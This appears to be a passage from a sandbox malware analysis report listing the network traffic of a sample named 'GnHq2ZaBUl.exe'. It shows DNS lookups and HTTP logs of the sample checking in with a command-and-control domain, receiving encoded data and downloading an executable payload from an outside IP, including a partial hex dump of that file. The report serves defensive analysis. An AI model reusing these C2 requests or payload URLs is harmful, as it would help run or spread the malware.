Dec 27, 2024 09:08:00.263200998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.263214111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.263259888 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.263853073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.263878107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.263890028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.263897896 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.263936043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.264590025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.264620066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.264631987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.264671087 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.265332937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.265387058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.265387058 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.265399933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.265433073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.266041040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.321461916 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.441458941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.441474915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.441484928 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.441528082 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.441713095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.441749096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.441760063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.441765070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.441795111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.442486048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.442516088 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.442526102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.442552090 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.443207979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.443250895 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:10.663043022 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:10.663079977 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:10.663209915 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:10.663470030 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:10.663480043 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:12.361917973 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:12.362380028 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:12.362387896 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:12.363756895 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:12.363820076 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:12.365191936 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:12.365252018 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:12.418625116 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:12.418659925 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:12.458693027 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:13.335047960 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:19.923233032 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:08:19.923347950 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:08:19.924194098 CET	49820	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:08:19.924252033 CET	443	49820	23.1.237.91	192.168.2.5
Dec 27, 2024 09:08:19.924314022 CET	49820	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:08:19.954771042 CET	49820	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:08:19.954823971 CET	443	49820	23.1.237.91	192.168.2.5
Dec 27, 2024 09:08:20.042860985 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 09:08:20.042876959 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 09:08:21.297585011 CET	443	49820	23.1.237.91	192.168.2.5
Dec 27, 2024 09:08:21.297655106 CET	49820	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:08:22.061577082 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:22.061650991 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:22.061717033 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:23.140290976 CET	49775	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:08:23.140306950 CET	443	49775	172.217.21.36	192.168.2.5
Dec 27, 2024 09:08:40.706573009 CET	443	49820	23.1.237.91	192.168.2.5
Dec 27, 2024 09:08:40.706640959 CET	49820	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:09:10.573744059 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:10.573815107 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:10.573885918 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:10.574131012 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:10.574145079 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:12.347712040 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:12.348016024 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:12.348045111 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:12.348387957 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:12.348694086 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:12.348764896 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:12.400412083 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:22.047559023 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:22.047656059 CET	443	49963	172.217.21.36	192.168.2.5
Dec 27, 2024 09:09:22.047761917 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:23.137583971 CET	49963	443	192.168.2.5	172.217.21.36
Dec 27, 2024 09:09:23.137619972 CET	443	49963	172.217.21.36	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:07:31.934294939 CET	54980	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:07:32.074980021 CET	53	54980	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:06.690876961 CET	53	50376	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:06.706371069 CET	53	63803	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:09.806341887 CET	53	50812	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:10.524655104 CET	53154	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:08:10.524802923 CET	50305	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:08:10.661642075 CET	53	50305	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:10.661664009 CET	53	53154	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:13.605125904 CET	59504	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:08:13.605258942 CET	60329	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:08:21.449934006 CET	53	59902	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:23.673511028 CET	52181	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:08:23.674554110 CET	56526	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:08:26.752187967 CET	53	63890	1.1.1.1	192.168.2.5
Dec 27, 2024 09:08:45.774399996 CET	53	52446	1.1.1.1	192.168.2.5
Dec 27, 2024 09:09:05.964508057 CET	53	52794	1.1.1.1	192.168.2.5
Dec 27, 2024 09:09:08.180818081 CET	53	52281	1.1.1.1	192.168.2.5
Dec 27, 2024 09:09:23.667726040 CET	60492	53	192.168.2.5	1.1.1.1
Dec 27, 2024 09:09:23.667886019 CET	57136	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 09:07:31.934294939 CET	192.168.2.5	1.1.1.1	0xa139	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:10.524655104 CET	192.168.2.5	1.1.1.1	0x28a0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:10.524802923 CET	192.168.2.5	1.1.1.1	0xbcad	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 09:08:13.605125904 CET	192.168.2.5	1.1.1.1	0xdfa2	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:13.605258942 CET	192.168.2.5	1.1.1.1	0xe231	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 09:08:23.673511028 CET	192.168.2.5	1.1.1.1	0xa606	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:23.674554110 CET	192.168.2.5	1.1.1.1	0xd86e	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 27, 2024 09:09:23.667726040 CET	192.168.2.5	1.1.1.1	0x40b9	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:09:23.667886019 CET	192.168.2.5	1.1.1.1	0x22d6	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 09:07:32.074980021 CET	1.1.1.1	192.168.2.5	0xa139	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:07:32.074980021 CET	1.1.1.1	192.168.2.5	0xa139	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:10.661642075 CET	1.1.1.1	192.168.2.5	0xbcad	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 09:08:10.661664009 CET	1.1.1.1	192.168.2.5	0x28a0	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:13.743015051 CET	1.1.1.1	192.168.2.5	0xdfa2	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:13.743015051 CET	1.1.1.1	192.168.2.5	0xdfa2	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:13.743015051 CET	1.1.1.1	192.168.2.5	0xdfa2	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:13.743015051 CET	1.1.1.1	192.168.2.5	0xdfa2	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:13.743452072 CET	1.1.1.1	192.168.2.5	0xe231	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:13.743452072 CET	1.1.1.1	192.168.2.5	0xe231	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:14.020153999 CET	1.1.1.1	192.168.2.5	0x88cc	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:14.124547005 CET	1.1.1.1	192.168.2.5	0x3ed0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:14.124547005 CET	1.1.1.1	192.168.2.5	0x3ed0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:14.124547005 CET	1.1.1.1	192.168.2.5	0x3ed0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:16.929852962 CET	1.1.1.1	192.168.2.5	0x95fa	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:16.929852962 CET	1.1.1.1	192.168.2.5	0x95fa	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:16.929852962 CET	1.1.1.1	192.168.2.5	0x95fa	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:08:16.929872990 CET	1.1.1.1	192.168.2.5	0x7751	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:23.812346935 CET	1.1.1.1	192.168.2.5	0xd86e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:08:23.920310974 CET	1.1.1.1	192.168.2.5	0xa606	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:09:23.807030916 CET	1.1.1.1	192.168.2.5	0x22d6	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:09:23.913011074 CET	1.1.1.1	192.168.2.5	0x40b9	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49728	185.215.113.16	80	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:07:54.181200981 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:07:55.558518887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:07:54 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Fri, 27 Dec 2024 07:39:36 GMT Connection: keep-alive ETag: "676e59b8-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +s+`Ui`D @ @ @.rsrcD``@.idata f@ricsrhqo)h@otxjrfec T@.taggant@"Z*@
Dec 27, 2024 09:07:55.558537006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558552980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558598042 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558609962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558623075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558636904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558650970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:07:55.558779955 CET	1236	IN	Data Raw: 24 6e 8c 6f 26 59 42 70 76 57 63 80 76 07 91 21 03 08 8b 1f 4e f7 8a 6f 70 59 ee 71 76 57 63 7f 76 07 91 21 d7 08 8b 1f 4e f7 8a 6f 70 59 c6 71 76 57 1d 66 72 07 1b 21 2b 03 8b 1f 4e f6 8a 6f 70 59 c6 71 76 57 1d 3e 72 07 1b 21 b1 07 8b 1f 4e f6 Data Ascii: $no&YBpvWcv!NopYqvWcv!NopYqvWfr!+NopYqvW>r!NopYqvW.r!-NopYqvWs!-NopYqvWr!-NopYrvW@q!-NopYrvWq!NopYrvWq!NopYrvWq!NopUeovFwovov
Dec 27, 2024 09:07:55.558792114 CET	1236	IN	Data Raw: 7e a4 82 75 76 06 8b 47 56 07 8b 6f 76 85 73 d6 6d 06 8b 70 76 07 8b 6f 76 87 8b 00 57 06 82 5a 75 06 8b 6f 76 07 8b ef 76 76 6b 86 71 18 8a 74 76 07 8b 6f 76 87 8b 00 57 8c 82 62 75 05 8b 6f 76 07 8b ef 76 76 6b f7 71 1f 8a 76 76 07 8b 6f 76 87 Data Ascii: ~uvGVovsmpvovWZuovvvkqtvovWbuovvvkqvvovWe/uovvvkrD{vovW=uovvvks5vovW"uVovvqYRvkovw!u(VovvnYRv3jovwS!u(Uovv,rURvmovw*u#TovvmY
Dec 27, 2024 09:07:55.678303957 CET	1236	IN	Data Raw: 75 f2 8a 04 73 06 8b 6f 75 f4 8a 54 6e 06 8b 73 f6 07 8b 70 76 07 8b 6f 76 07 8b 6f 76 07 8b 6f 76 fd 82 6f 76 03 8b 6f 76 07 8b 6f 76 07 8b 6f 76 87 8b 61 72 07 8b 6f 76 03 8b 6f 76 07 8b 6f 76 07 8b 6f 76 87 8b 9d 6e 07 8b 6f 76 02 8b 73 76 05 Data Ascii: usouTnspvovovovovovovovarovovovovnovsvsvsvsvsvsvsvov* fc<h#l1#H4"ck)l/$bYo'W.Cb%h.0v3H:1M8A1FOoC3J=2F=379B6.3<NDBJ3vMNC4NI35COoCB=E-HNN2N<04KN3v8?0(CJA2<=8/O?B79N@AN=42<

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:33 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 08:07:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 08:07:34 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sk3b923rec3b8mk3uo7mapvooq; expires=Tue, 22 Apr 2025 01:54:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I5EP8bbrdrpr1ne4kCivOVnOkARxqTOyV1VIQ0ZlHPTyAjHoNLXzm%2FYNqwVDIDsDW4dsAIuwLDqWgflWhtf6UFsut4W%2BPYeP3LPpJQhwZB1rM0SNKW%2Fj9og9kIoblXvMMLw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d152dc955e61-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1753&rtt_var=680&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1583514&cwnd=209&unsent_bytes=0&cid=9dcb14eb90427da1&ts=789&x=0"
2024-12-27 08:07:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 08:07:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 08:07:35 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 08:07:36 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=92i5vm8nu1tje39durjjhgc9cu; expires=Tue, 22 Apr 2025 01:54:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c1wbCvk4ZR2tKUgX57Tb5SS1dupleJ80G%2BxPjcrD7%2BzL4ookW%2BIdQ9122OdxNhVMg7nsvKhYvEknaju8yz5ju66pBXQmvVyzEyxuLgDyA%2B%2FK%2FlKPjQv%2FWGuzaoA%2FDwc6xxo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d16088fd43ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1629&min_rtt=1620&rtt_var=627&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=1719670&cwnd=181&unsent_bytes=0&cid=9e4174ec9d6634a4&ts=817&x=0"
2024-12-27 08:07:36 UTC	236	IN	Data Raw: 34 39 31 63 0d 0a 31 67 70 2b 41 48 4b 33 53 42 67 36 75 65 4d 31 61 34 66 53 4f 33 69 6a 45 44 2b 44 37 57 33 63 44 79 2b 78 72 6e 64 31 58 5a 6d 74 4b 41 67 69 53 49 4e 6b 4f 6b 6e 63 77 51 38 66 39 61 64 65 56 49 46 78 57 36 48 58 43 37 31 6a 58 4e 53 43 56 51 4d 77 75 2b 78 73 48 32 77 42 30 6d 51 36 58 38 48 42 44 7a 44 38 38 46 34 57 67 53 6f 64 35 6f 63 50 76 57 4e 4e 30 4d 55 59 42 54 48 36 76 6d 59 5a 61 42 66 55 4c 48 6c 57 31 49 5a 51 44 75 61 34 56 52 48 4f 65 46 4b 68 77 55 2b 35 64 51 32 4c 6a 44 6f 51 4b 66 69 62 61 77 31 72 55 4d 70 6b 59 78 6a 63 6a 52 64 52 70 62 4e 65 47 73 39 32 57 2b 69 46 42 62 52 72 54 4e 58 45 42 78 77 37 38 62 35 6f 47 6d 6b 64 33 54 68 30 58 4e 4f 4e 56 67 Data Ascii: 491c1gp+AHK3SBg6ueM1a4fSO3ijED+D7W3cDy+xrnd1XZmtKAgiSINkOkncwQ8f9adeVIFxW6HXC71jXNSCVQMwu+xsH2wB0mQ6X8HBDzD88F4WgSod5ocPvWNN0MUYBTH6vmYZaBfULHlW1IZQDua4VRHOeFKhwU+5dQ2LjDoQKfibaw1rUMpkYxjcjRdRpbNeGs92W+iFBbRrTNXEBxw78b5oGmkd3Th0XNONVg
